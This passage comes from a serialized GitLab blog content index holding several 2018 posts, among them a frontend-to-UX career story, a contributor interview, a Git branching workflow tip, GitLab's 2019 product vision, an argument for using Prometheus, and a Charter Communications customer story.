[transfer](/handbook/people-group/promotions-transfers/#department-transfers)\nto a different department, if our interests or career goals change. I spoke with\nmy frontend manager about my passions and shared my desire to start learning and\nworking with the UX team. I then spoke with [Sarrah](/company/team/#SVesselov),\nthe UX Manager, about the next steps, and I started working through online\ntutorials, getting up to speed on Sketch, and attending the UX weekly calls.\nOnce I acquired the necessary technical skills, I joined the [Plan](/direction/#plan)\nteam, which is focused mostly on the prioritization of ideas, allocation of\nresources, scheduling, and tracking. It’s an area I’m really excited about, and\nwe’re working on some incredibly useful management features (like [improved issue boards](https://gitlab.com/gitlab-org/gitlab-ce/issues/48847), [sub-epics](https://gitlab.com/gitlab-org/gitlab-ee/issues/7327), and [value stream management](https://gitlab.com/groups/gitlab-org/-/epics/229)) that will help make\nGitLab an even more powerful tool.\n\nAs a frontend engineer, I was fortunate to have developed many transferable\nskills which helped me tackle this new challenge. Attention to detail is one\nskill that has been particularly useful when working on a new feature. Since\nI’m new to UX, I’ve found it really helpful to have a technical background,\nespecially considering that GitLab is such a technical product.\n\n## Advice to others\n\n![Me and my daughter attending a frontend meeting.](https://about.gitlab.com/images/blogimages/annabelandbaby.jpg){:.shadow.small.right.wrap-text}\n\nIf you’re interested in making a similar transition, I encourage you to speak\nwith your manager. I wish I’d done so sooner. I discussed my interests early\nlast year, but after having a baby, I had this idea that I\nshould stay in my current role, as I would never have time to learn a whole new\npractice. While I definitely don’t have any free time (I don’t know if you’ve\nheard – babies are quite time consuming), I’m so happy to be on the UX team, even\nthough I have a lot of catching up to do. Everyone in both frontend and UX has\nbeen incredibly supportive of my switching teams, and I’m learning a lot as I go\nalong. For now, I’ve got the best of both worlds – 50 percent of my time is focused on\nstyling-related frontend issues and reviewing the CSS in merge requests, while\nthe other 50 percent is working on UX issues.\n\nBy the way, we're hiring for loads of positions, across the company – [check out our current job openings](/jobs/).\n\n[Cover image](https://unsplash.com/photos/aLGiPJ4XRO4) by [Bharath](https://unsplash.com/@xen0m0rph), licensed under [CC X](https://unsplash.com/license).\n{: .note}\n",[2249,11037,7715,676],{"slug":31956,"featured":6,"template":678},"how-i-transitioned-from-frontend-to-ux","content:en-us:blog:how-i-transitioned-from-frontend-to-ux.yml","How I Transitioned From Frontend To Ux","en-us/blog/how-i-transitioned-from-frontend-to-ux.yml","en-us/blog/how-i-transitioned-from-frontend-to-ux",{"_path":31962,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31963,"content":31968,"config":31973,"_id":31975,"_type":16,"title":31976,"_source":17,"_file":31977,"_stem":31978,"_extension":20},"/en-us/blog/contributor-post-luke",{"title":31964,"description":31965,"ogTitle":31964,"ogDescription":31965,"noIndex":6,"ogImage":26117,"ogUrl":31966,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31966,"schema":31967},"GitLab Code Contributor: Luke Picciau","New contributor Luke Picciau shares why he started contributing to GitLab.","https://about.gitlab.com/blog/contributor-post-luke","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Code Contributor: Luke Picciau\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2018-10-04\",\n      }",{"title":31964,"description":31965,"authors":31969,"heroImage":26117,"date":31970,"body":31971,"category":813,"tags":31972},[21623],"2018-10-04","\nFor this month's blog post, we're featuring a new contributor [Luke Picciau](https://gitlab.com/Qwertie), who started contributing to GitLab a few months ago.\n\n### When did you first contribute to GitLab?\nMy first contribution was in July 2018, with my MR to [add a button for regenerating 2FA codes](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/20295).\n\n### Why and how did you decide to contribute to GitLab?\nI have been using GitLab pretty heavily since 2014. I decided to start contributing in order to practice developing features on a large project. Because I am very familiar with features of GitLab from the user perspective, navigating the code was easy and I was able to start adding new features quickly.\n\n### Which area(s) of the GitLab product are you interested in contributing to?\nI’d love to look into the new [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/) and see what improvements could be made, as I see this as a useful tool. Personally, I’d like to use it to write posts for my static site and see the compiled result in my browser as well.\n\n### Can you tell us what you do professionally (or academically if you're going to school)?\nI am a full stack web developer. I primarily use Rails and VueJS. Currently I am also studying for a Bachelor of Information Technology at the University of South Australia. I’m also building an open source website for fitness tracking and analytics of GPS recordings. It’s not quite ready to use yet, but I am pushing regular updates to [the repo](https://gitlab.com/pikatrack/pikatrack).\n\n### What do you like to do when you're not working or studying?\nI’ll often be helping open source projects such as mapping the local area on [Open Street Map](https://www.openstreetmap.org). I also love to go down to the mountain bike parks around Adelaide.\n\n### Can you tell us where you live and what you like about your area?\nI live in [Adelaide, South Australia](https://www.google.com/maps/place/Adelaide+SA,+Australia/@-35.0278392,134.1260638,6z/). My favorite thing about the area is living close to so many national parks and amazing mountain bike trails which give endless exploration possibilities.\n\n![Luke on his mountain bike](https://about.gitlab.com/images/blogimages/Luke_Picciau_mountain_biking_new.jpg){: .shadow.small.center}\n\n### What advice do you have for others who may be interested in contributing to GitLab?\nOne of the things I find most useful is using an IDE or text editor with “go to definition” support. This allows you to click on function and class names and be taken to the place where they are defined. This, in my opinion, is an essential feature for working on a codebase as large as GitLab, especially in a language like Ruby, where it can be difficult to work out where things have been imported from. I personally use [RubyMine](https://www.jetbrains.com/ruby/), but I have been told [Vim](https://www.vim.org/) can also be set up with good Ruby support. Another tip I have is if you get part way through making a change and get stuck on something or need advice on what should be done, commit the changes and [create a merge request](https://docs.gitlab.com/ee/user/project/merge_requests/creating_merge_requests.html#doc-nav) with what you have done and any questions you have. Someone should reply to the merge request to help you get the changes finished and ready for merge.\n\n## Interested in learning how you can contribute?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can contribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\n_Note: This post is part of [a series featuring people who contribute to GitLab](/blog/tags.html#contributors)._\n",[267,2368,815,2704],{"slug":31974,"featured":6,"template":678},"contributor-post-luke","content:en-us:blog:contributor-post-luke.yml","Contributor Post Luke","en-us/blog/contributor-post-luke.yml","en-us/blog/contributor-post-luke",{"_path":31980,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31981,"content":31987,"config":31992,"_id":31994,"_type":16,"title":31995,"_source":17,"_file":31996,"_stem":31997,"_extension":20},"/en-us/blog/working-on-two-git-branches-at-the-same-time",{"title":31982,"description":31983,"ogTitle":31982,"ogDescription":31983,"noIndex":6,"ogImage":31984,"ogUrl":31985,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31985,"schema":31986},"How to work on two Git branches at the same time","Watch the demo on how using the GitLab Web IDE and your local dev environment to work on two branches at once can help save time.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678782/Blog/Hero%20Images/working-on-two-git-branches-at-the-same-time.jpg","https://about.gitlab.com/blog/working-on-two-git-branches-at-the-same-time","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to work on two Git branches at the same time\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2018-10-03\",\n      }",{"title":31982,"description":31983,"authors":31988,"heroImage":31984,"date":31989,"body":31990,"category":734,"tags":31991},[16962],"2018-10-03","\nI was recently using both my local development environment and the GitLab [Web IDE](/blog/introducing-gitlab-s-integrated-development-environment/), and found a really nice workflow for working with two Git branches simultaneously.\n\n### The problem\n\nIn this scenario, you’re doing development work on one branch, in one part of your codebase, and then likely documenting your process in another place. I really don’t want all of this in one merge request, because I don’t want to delay shipping the development work if [the docs](https://docs.gitlab.com) aren’t done. I want to be able to get it live so that others can see it, give feedback on each individual component, and iterate on it. At the same time, I don’t want to delay too long on documenting the process, because I want the docs to be as accurate and reproducible as possible.\n\n### The fix\n\nWhile doing my development work in my local development environment, I created another merge request for the documentation using the [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/), essentially working on two different Git branches at the same time, using two different editors.\n\nIn my quick example below, you can see a merge request to add Jenkins content to our [DevOps tools](/competition/) page. I’ve checked out this branch locally, and I have it open in my Atom editor. I’ve been doing some work by updating `features.yml`, as well as a Markdown file and a Haml file. All of these changes are related to one merge request. While I’m committing changes locally to the comparison page, I’m documenting each step in my Web IDE in a separate tab, to make sure my instructions are precise, helpful, and completed in real time.\n\n### Watch the demo\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/uV3ycYnwhBc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nYou can see what we've got planned for the Web IDE in 2019 in our post about [our product vision for DevOps Create](/blog/create-vision/).\n\nWhat are other ways the Web IDE has come in handy for you? Let us know by tweeting us [@gitlab](https://twitter.com/gitlab)!\n\nCover [photo](https://unsplash.com/photos/3y1zF4hIPCg) by [Hans-Peter Gauster](https://unsplash.com/photos/3y1zF4hIPCg) on Unsplash\n{: .note}\n",[4144,754,1067,676,1444],{"slug":31993,"featured":6,"template":678},"working-on-two-git-branches-at-the-same-time","content:en-us:blog:working-on-two-git-branches-at-the-same-time.yml","Working On Two Git Branches At The Same Time","en-us/blog/working-on-two-git-branches-at-the-same-time.yml","en-us/blog/working-on-two-git-branches-at-the-same-time",{"_path":31999,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32000,"content":32006,"config":32011,"_id":32013,"_type":16,"title":32014,"_source":17,"_file":32015,"_stem":32016,"_extension":20},"/en-us/blog/gitlab-product-vision",{"title":32001,"description":32002,"ogTitle":32001,"ogDescription":32002,"noIndex":6,"ogImage":32003,"ogUrl":32004,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32004,"schema":32005},"GitLab's product vision for 2019 and beyond","Watch Head of Product, Mark Pundsack, present our product vision.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671613/Blog/Hero%20Images/gitlab-innovate-cover.png","https://about.gitlab.com/blog/gitlab-product-vision","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's product vision for 2019 and beyond\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2018-10-01\",\n      }",{"title":32001,"description":32002,"authors":32007,"heroImage":32003,"date":32008,"body":32009,"category":299,"tags":32010},[711],"2018-10-01","\n\nWe [recently went live](/blog/gitlab-live-event-recap/) to discuss the\nnews of our [Series D funding](/blog/announcing-100m-series-d-funding/)\nand what the future holds for GitLab. You can watch GitLab's Head of Product,\nMark Pundsack, present our vision with some previews of what's in the works\nbelow:\n\n## Watch the recording\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZgFqyXCsqPY?start=3796\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### View the slides\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://docs.google.com/presentation/d/e/2PACX-1vRCKP-VcLD9IomS8d1U8N73dfFWLtsVCAPtGiKBwlIv68U6tlZViv6HGCk53Nd_8HxitqDN-lVvIaTE/embed?start=false&loop=false&delayms=3000\" frameborder=\"0\" width=\"960\" height=\"569\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\">\u003C/iframe>>\n\u003C/figure>\n\n## Summary of our product vision\n\nOur strategy is to double down on what's working: while we already cover the\nentire DevOps lifecycle, we want to increase depth in some of our existing\nfeatures, transitioning from minimum viable change to minimum loveable feature.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-partner=\"tweetdeck\">\u003Cp lang=\"en\" dir=\"ltr\">I thought \u003Ca href=\"https://twitter.com/Jobvo?ref_src=twsrc%5Etfw\">@Jobvo\u003C/a> had me at &quot;Minimal Viable Change&quot;.  But then \u003Ca href=\"https://twitter.com/MarkPundsack?ref_src=twsrc%5Etfw\">@MarkPundsack\u003C/a> comes out with &quot;Minimal Lovable Product&quot; and I&#39;m awestruck \u003Ca href=\"https://twitter.com/hashtag/GitLabLive?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabLive\u003C/a>\u003C/p>&mdash; Brendan O&#39;Leary 👨🏻‍💻 (@olearycrew) \u003Ca href=\"https://twitter.com/olearycrew/status/1042837763480068096?ref_src=twsrc%5Etfw\">September 20, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nWe're also going to continue to increase our breadth, building out new\ncapabilities across the entire DevOps lifecycle.\n\nAnd finally, because we believe everyone can contribute, we're going to add more\nroles to the scope of product, including executives, designers, product\nmanagers, and essentially anyone who is involved in software development and\ndelivery. Our goal is to get everyone working concurrently in a single product,\nwith nine best-in-class categories.\n\n## Coming up...\n\nWe're working on building out 26 new capabilities, but because you don't have\nall day, below are three examples to give you a taste of what's in the works.\n\n\u003Csmall>*Obligatory disclaimer: These are mock-ups and the features may turn out\nlooking a little different, or may not ship at all*\u003C/small>\n\n### Executive flow: Value Stream Management\n\nAt its heart, [Value Stream Management](/solutions/value-stream-management/)\nis about understanding your teams' work and their workflow on the way to\ndelivering value to customers. The way we're approaching it is to extend\nsomething development teams are already using to track their work, namely issue\nboards, and bring it into the bigger picture by having a board that covers the\nentire workflow necessary to get ideas into production.\n\nBecause GitLab already covers that entire scope, we can automate it too. We know\nwhen a feature is scheduled. We know when you push your first commit. We know\nwhen code review starts. We know when you deploy your code to production. So we\ncan move the cards to the right spots automatically, so not only can you track\nyour progress and communicate it to your team, you can track it all\nautomatically and more accurately. Neat, huh?\n\n![Value Stream Management analytics view](https://about.gitlab.com/images/blogimages/product-vision-sep-20/vsm-analytics.png){: .shadow.medium.center}\n\nThe above mock-up demonstrates a situation where someone was able to dive into\nthe time spent on various areas, and see that the time spent waiting for someone\nto even start QA was really high, and they managed to shave off a few days just\nby rearranging some internal processes. The same goes for the code review cycle.\n\n### Ops flow: Incident management\n\nThis is an operations flow based on a new product capability:\n[incident management](https://gitlab.com/groups/gitlab-org/-/epics/349). We\nmonitor your production apps and detect an anomaly, alert you, and then open an\nincident. Then in one place you can see: what triggered the alert, who's\ninvolved in responding, quick links to the Slack conversation, Zoom call, and\nwhere to update your public status page. There's also a timeline of all\nactivity. Because this is part of the same application that developers are\nusing, it’s not just operations people using this tool, so when you’re working\ntogether on problems, you’re looking at the same data, and GitLab knows not only\nwhat metrics are alerting, but what code was recently deployed that might have\ncaused it, and who was behind that code. When the incident is resolved, you can\neasily follow up with your users with a postmortem, pulling in all the relevant\ndata and timeline of events. Of course, with all that data comes great power for\nanalytics, to help the team learn from the incidents and improve.\n\n![Incident open](https://about.gitlab.com/images/blogimages/product-vision-sep-20/incident-management-error-rate.png){: .shadow.medium.center}\n  *\u003Csmall>Mock-up showing an Incident open with timeline view, including Slack messages and Status page updates\u003C/small>*\n\n### Security flow: Auto remediate\n\nA common security task is watching for new vulnerabilities in your project’s\ndependencies. If a module you depend on has a vulnerability, there’s usually a\npatch update to go along with it. When that patch is released, you then need to\ntest your software again with that patch, to make sure everything still works\nbefore you deploy it. That’s a pain!\n\nInstead of making anyone do all that repetitive, but necessary security work,\n[we want to automate it all away](https://gitlab.com/groups/gitlab-org/-/epics/133).\nIn our vision, a bot detects that a dependency has a new version, and instead of\nalerting someone, automatically creates a merge request that bumps the version\nnumber for you, and runs the test suite to make sure that everything still\nworks. The CI pipeline passes, and confirms that the security vulnerability is\nnow gone, so the bot automatically merges the changes. If all goes well, your\nsecurity and development teams just get an email in the morning saying that all\nthe projects with that dependency were automatically fixed.\n\nBy why leave a known, security vulnerability live any longer than it needs to?\nTo bring it full circle, after merging, the CI/CD pipeline starts incrementally\ndeploying to production. If the production error rate jumps, we automatically\nstop the incremental rollout, and go ahead and roll back to the last-known good\nversion immediately. The bot detects this and automatically reverts the merge\nrequest so we can leave `master` in a good state. This, we can finally alert the\nteams about, so instead of having to test 20 projects manually, they can focus\non the few that can’t be automated.\n\n![Auto remediate reverted](https://about.gitlab.com/images/blogimages/product-vision-sep-20/auto-remediate-reverted.png){: .shadow.medium.center}\n  *\u003Csmall>Mock-up showing a merge request reverted automatically following detection of production errors\u003C/small>*\n\nAs always, our plans are in draft and we welcome your feedback and input!\n",[754,676],{"slug":32012,"featured":6,"template":678},"gitlab-product-vision","content:en-us:blog:gitlab-product-vision.yml","Gitlab Product Vision","en-us/blog/gitlab-product-vision.yml","en-us/blog/gitlab-product-vision",{"_path":32018,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32019,"content":32025,"config":32030,"_id":32032,"_type":16,"title":32033,"_source":17,"_file":32034,"_stem":32035,"_extension":20},"/en-us/blog/why-all-organizations-need-prometheus",{"title":32020,"description":32021,"ogTitle":32020,"ogDescription":32021,"noIndex":6,"ogImage":32022,"ogUrl":32023,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32023,"schema":32024},"Why Prometheus is for everyone","You think you don't need Prometheus – I'm here to tell you why you're wrong. Learn why GitLab uses Prometheus, and why your organization should be using it too!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678778/Blog/Hero%20Images/monitoring-cover.png","https://about.gitlab.com/blog/why-all-organizations-need-prometheus","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why Prometheus is for everyone\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lee Matos\"}],\n        \"datePublished\": \"2018-09-27\",\n      }",{"title":32020,"description":32021,"authors":32026,"heroImage":32022,"date":32027,"body":32028,"category":734,"tags":32029},[19634],"2018-09-27","\nIt's no secret that here at GitLab, we hitched our wagon to [Prometheus](https://docs.gitlab.com/ee/administration/monitoring/prometheus/index.html#doc-nav) long ago. We've been\n[shipping it with GitLab since 8.16](/releases/2017/01/22/gitlab-8-16-released/). Having said that,\neven within GitLab we weren't all using Prometheus. The Support Engineering team was\nvery much in the camp of \"We don't need this to troubleshoot customer problems.\" We were wrong;\nwe needed Prometheus all along, and here's why your organization should be using it too.\n\n## What is Prometheus?\n\nFor a short answer, Prometheus is software that stores event data in real-time. But more specifically…\n\nPrometheus is a powerful and free open-source software monitoring service that records real-time metrics and provides real-time alerts. It’s built with an HTTP pull model. Prometheus collects data performance metrics which you can view through an external dashboard tool (such as Grafana) or by directly connecting to Prometheus. \n\nSoundcloud was the original developer of Prometheus but nowadays is continuously maintained by the Cloud Native Computing Foundation (CNCF). The cloud-native architecture of Prometheus has made it extremely popular as part of a modern technology stack. \n\n## Prometheus is great, so why isn't everyone using it already?\n\nI think GitLab customers fall into a few categories: You have the customer who wants to use GitLab\nbut can't or doesn't want to manage servers. They'll use [GitLab.com](/pricing/)! By making that choice they can\nleverage the hard work of our Production team and reap the benefits of what Prometheus has to offer.\n\nThen you have the customer who is [running their own simple GitLab deployment](/pricing/#self-managed), but they may\nnot know or appreciate the value of Prometheus metrics. The Support Engineering team was\nlike this too! We thought, \"We can use traditional tools. Just knowing about where logging is,\nknowing about the system, is enough to actually solve the problems that we see. Just having\nexperience is enough.\" Not so.\n\nThen you have large, enterprise customers who are deploying GitLab clusters with multiple dozens of\nservers and a lot of moving parts. For them, Prometheus really shines because the complexity\nballoons, and once you move GitLab from a single server to three, or four, or 20, being able\nto see all of the metrics in one view makes a huge difference in time to resolving critical infrastructure issues.\n\n## How we saw the light about Prometheus\n\nA large GitLab customer was experiencing a really strange, catastrophic failure scenario, and\nthe problem was proving evasive to the support team. Even after days of troubleshooting we couldn't\nfind what we were looking for, so we called in [Jacob](/company/team/#jacobvosmaer) from our\n[Gitaly](/blog/the-road-to-gitaly-1-0/) team because it looked like Gitaly was at the\ncore of the problem. We had been using Gitaly on GitLab.com for about six months at that point\nand he had never seen it behave this way before. It looked like Gitaly was accessing Git data,\nbut just _extremely slow_, and it would spread across the cluster one server at a time. Jacob\nand I speculated and made some Gitaly dashboards, and while that was a good moment of cross-team\ncollaboration, he was stumped.\n\nMost of the time when we're debugging GitLab, it's clear to pinpoint the root of the problem.\nBut in this case, it was a catastrophic failure across the entire cluster that was a ticking timebomb.\nWhen we'd see the indicators we'd effectively have 15-35 minutes before the entire fleet was down.\nThis customer actually had Prometheus on their roadmap but hadn't deployed it yet, so when\nthe failure happened it was top of our list of things to deploy:\n\n**Support**: We should focus on trying to understand why this host is affected.\n\n**Production**: If we get better observability with Prometheus we'll move faster.\n\n**Support**: I'm worried this is a distraction! We don't have much time.\n\n**Production**: Watch and learn. Watch and learn.\n\n_(Cue dramatic montage of hackers with GitLab stickers on their laptops feverishly typing under duress)_\n\nOnce Prometheus was in place, we called in the Production team. They run one of the largest\nGitLab instances: GitLab.com. We exported their dashboard and gave it to the customer, so\nwithin minutes they had a GitLab production-scale dashboard that was all of the things that\nour production engineers use. Now, we could leverage the wealth of knowledge of our Prometheus\nexperts, as it's a familiar interface and they know exactly what they're looking at.\n\nWith that as a starting point we started querying and slicing data, and dashboards, which let\nus build a couple of different facets that let us view the data and come to some conclusions.\n\"Okay, it looks like once a host becomes 'tainted,' all Git-level operations spike and _HALT_.\nNow we can finally ask the question, why?\" And then, when we asked that, we saw that it was\na problem with Amazon's EFS file system. We had hit some upper boundary of EFS access and,\nhaving identified it, we were able to fix it by moving those specific files out of EFS. After we\nmade that change it was easy to use Prometheus and Grafana to verify that the state was sound\nand everything was working as expected afterwards, without even lifting a finger. We just looked\nat the dashboard in place. So while the customer had intended to deploy Prometheus later this\nyear, now, in this emergency situation, Prometheus definitely saved the day and is a huge part\nof keeping their GitLab infrastructure healthy. Without it we wouldn't be nearly as confident\nor comfortable in our solution.\n\n## Prometheues has opened up a whole world of possibilities.\n\nWe have another large client that's on an older version of GitLab without Prometheus. We're\nworking to debug things there and while we're able to do it, it's slower going. It requires a lot\nmore manual effort to coalesce the data and get it in a form we can use. It often takes about\n35-40 minutes to get the data, slicing with grep, AWK, and friends and at least one man page\nto look up syntax. Whereas, with Prometheus and Grafana, we'd be able to just access and view\nthe data, query it, and affect it within minutes. We already have a lot of [built-in monitoring capabilities](https://docs.gitlab.com/ee/administration/monitoring/). GitLab is a complex\nsystem built of various open source sub-systems, and we're monitoring all of them with Prometheus.\nYou can too.\n\n### Everyone should be using our GitLab.com dashboard\n\nAs I said earlier, in our intense, catastrophic scenario we gave the customer our GitLab.com\ndashboard. Any customer can use this dashboard as a template! You literally can go to [dashboards.gitlab.com](https://dashboards.gitlab.com), click \"export,\" get the dashboard, run your instance, then click \"import.\" It will show up, and\nyou just need to tweak the name so that it's not defaulting to our GitLab Production cluster.\nThen Prometheus just fills in the data.\n\n\u003Ciframe src=\"https://giphy.com/embed/12NUbkX6p4xOO4\" width=\"480\" height=\"440\" frameBorder=\"0\" class=\"giphy-embed\" allowFullScreen>\u003C/iframe>\n\nWe're trying to standardize around using the dashboards here, so that while there are differences\nand nuances in the deployments etc., we're speaking a common language, and have a common\nmeeting point for GitLab engineers across teams to monitor and talk GitLab performance.\n\n## Are you convinced about Prometheues yet?\n\nWe're now actively training our support team on Prometheus. And it's likely that other organizations\nprobably have the same thing happening – where another group could be impacting or helping,\nbut they're not collaborating, so they can't see where or how they can help one another. We've\nseen the light! So, we're training our team on Prometheus, and it's something that we want\nto make sure that everybody can make use of.\n\nMany customers think they don't need Prometheus and are reluctant to use it because it adds\noverhead; you have to configure it and set it up, and it may require a bit of finessing. GitLab\nis trying to make that even easier, but right now when you're building a bespoke deployment,\nit requires a bit of time, and you may not think time invested is worth it. And I'm here to say,\nit is, get it now! In fact, it's already there. You just need to turn it on! I'm advocating that all\nlarge, customer deployments over 500 users have Prometheus running by 2019. Turn it on and\nthen we'll all reap the rewards.\n",[754,676,1268],{"slug":32031,"featured":6,"template":678},"why-all-organizations-need-prometheus","content:en-us:blog:why-all-organizations-need-prometheus.yml","Why All Organizations Need Prometheus","en-us/blog/why-all-organizations-need-prometheus.yml","en-us/blog/why-all-organizations-need-prometheus",{"_path":32037,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32038,"content":32044,"config":32050,"_id":32052,"_type":16,"title":32053,"_source":17,"_file":32054,"_stem":32055,"_extension":20},"/en-us/blog/customer-interview-charter-communications",{"title":32039,"description":32040,"ogTitle":32039,"ogDescription":32040,"noIndex":6,"ogImage":32041,"ogUrl":32042,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32042,"schema":32043},"Better Developer & Customer Experiences with One Application","Director of Product Integration Michael Sobota of Charter Communications shares how they're using GitLab to simplify their toolchain, with big results.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663655/Blog/Hero%20Images/gitlab-live-sept-2018.png","https://about.gitlab.com/blog/customer-interview-charter-communications","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Customer story: Driving better developer and customer experiences with a single application\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2018-09-26\",\n      }",{"title":32045,"description":32040,"authors":32046,"heroImage":32041,"date":32047,"body":32048,"category":299,"tags":32049},"Customer story: Driving better developer and customer experiences with a single application",[19026],"2018-09-26","\nDuring [#GitLabLive](/blog/gitlab-live-event-recap/), customer Michael Sobota,\nDirector of Product Integration at [Charter Communications](https://www.spectrum.com/about.html), joined us to share how adopting\nGitLab as the [single application](/handbook/product/single-application/) for their entire software development lifecycle has brought their\nfeedback loop of two weeks down to a matter of minutes. Charter is an American telecom\ncompany providing services to over 26 million customers in 41 states, and is the second-largest\ncable operator in the US. They have 94,000 employees worldwide.\n\nYou can watch the interview with Michael and check out our key takeaways from it below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/HnTPi7y5MVo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Key takeaways\n\n### A single place for all development, operations, and feedback is critical to a great developer experience\n\n Michael: \"It's my job to make sure developers who are providing a digital experience to our\n subscribers have a great developer experience: Helping them realize that vision of quick iterations,\n giving them feedback, shifting left concerns like security and testing, deployments, and getting\n that feedback early in our value stream where it’s cheaper to course correct.\"\n\n\"GitLab has been a cornerstone of our [DevOps platform](/solutions/devops-platform/): using it for source control management,\nfor continuous integration, continuous deployment, a Docker registry, artifacts. We want to give\ndevelopers a single place to get feedback, self-service, and do it in a responsible manner that\nallows us to provide great value to our subscribers.\"\n\n### Quick feedback is also essential to staying competitive\n\nMichael: \"Consumers and subscribers are looking for different, more digital ways to interact\nwith companies and to consume content. Shifting left allows us to be competitive in creating\nthese new, digital ways for consumers to interact with us, whether it’s paying their bill or understanding\nhow their account is set up, ordering a new service, consuming live streaming video, or video on demand.\nCustomers want that quick feedback and do to that we need to shift things left.\"\n\n### Having everything in one place can drastically reduce your feedback loop\n\nMichael: To be able to understand, \"Did my code merge in? Did it build the capacity tests? Did it pass\nthe security standards?\" – these things, in a single place, within the merge request, within that\nUI, have helped us cut down our feedback loop that was typically around our sprint cycle of\naround two weeks, down to minutes.\"\n\n\"Gone are the days of managing different build machines. It’s all in the power of the developers,\nand now from the first line of code on every single branch, we can deploy a mutually exclusive\nenvironment and get feedback in minutes down from that two-week cycle. Now, almost every\nsingle branch of code can have a deployment, and you can have feedback as a developer, as a\nproduct owner, or as a designer, right away.\"\n",[4103,4772,1444],{"slug":32051,"featured":6,"template":678},"customer-interview-charter-communications","content:en-us:blog:customer-interview-charter-communications.yml","Customer Interview Charter Communications","en-us/blog/customer-interview-charter-communications.yml","en-us/blog/customer-interview-charter-communications",{"_path":32057,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32058,"content":32064,"config":32069,"_id":32071,"_type":16,"title":32072,"_source":17,"_file":32073,"_stem":32074,"_extension":20},"/en-us/blog/what-were-reading-in-september",{"title":32059,"description":32060,"ogTitle":32059,"ogDescription":32060,"noIndex":6,"ogImage":32061,"ogUrl":32062,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32062,"schema":32063},"What we've been reading in September","We've been busting out our bookmarks this month – discover what we've been reading.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678773/Blog/Hero%20Images/septemberreading.jpg","https://about.gitlab.com/blog/what-were-reading-in-september","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What we've been reading in September\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2018-09-25\",\n      }",{"title":32059,"description":32060,"authors":32065,"heroImage":32061,"date":32066,"body":32067,"category":6634,"tags":32068},[20767],"2018-09-25","\nTo get back into the swing of things after our [recent summit](/blog/gitlab-summit-cape-town-recap/),\nwe've been reading. Here's what we've been discussing on Slack:\n\n### [I just deployed a serverless app – and I can't code. Here's how I did it](https://medium.freecodecamp.org/i-just-deployed-a-serverless-app-and-i-cant-code-here-s-how-i-did-it-94983d7b43bd).\n\n[Erica Lindberg](/company/team/#EricaLindberg_), Content Marketing Manager, raves about\nthis Medium article,\nsaying \"I loved this article, and this woman might be my new hero.\"\n\n### [High Growth Handbook](https://www.amazon.com/High-Growth-Handbook-Elad-Gil/dp/1732265100)\n\n[Sid Sijbrandij](/company/team/#sytses), CEO, is currently reading and loving\nthis insightful playbook.\n\n### [The Design of Everyday Things](https://www.amazon.com/Design-Everyday-Things-Revised-Expanded/dp/0465050654/ref=sr_1_1?ie=UTF8&qid=1536093671&sr=8-1&keywords=The+Design+of+Everyday+Things%3A+Revised+and+Expanded+Edition)\n[Jeremy Watson](/company/team/#d3arWatson), Product 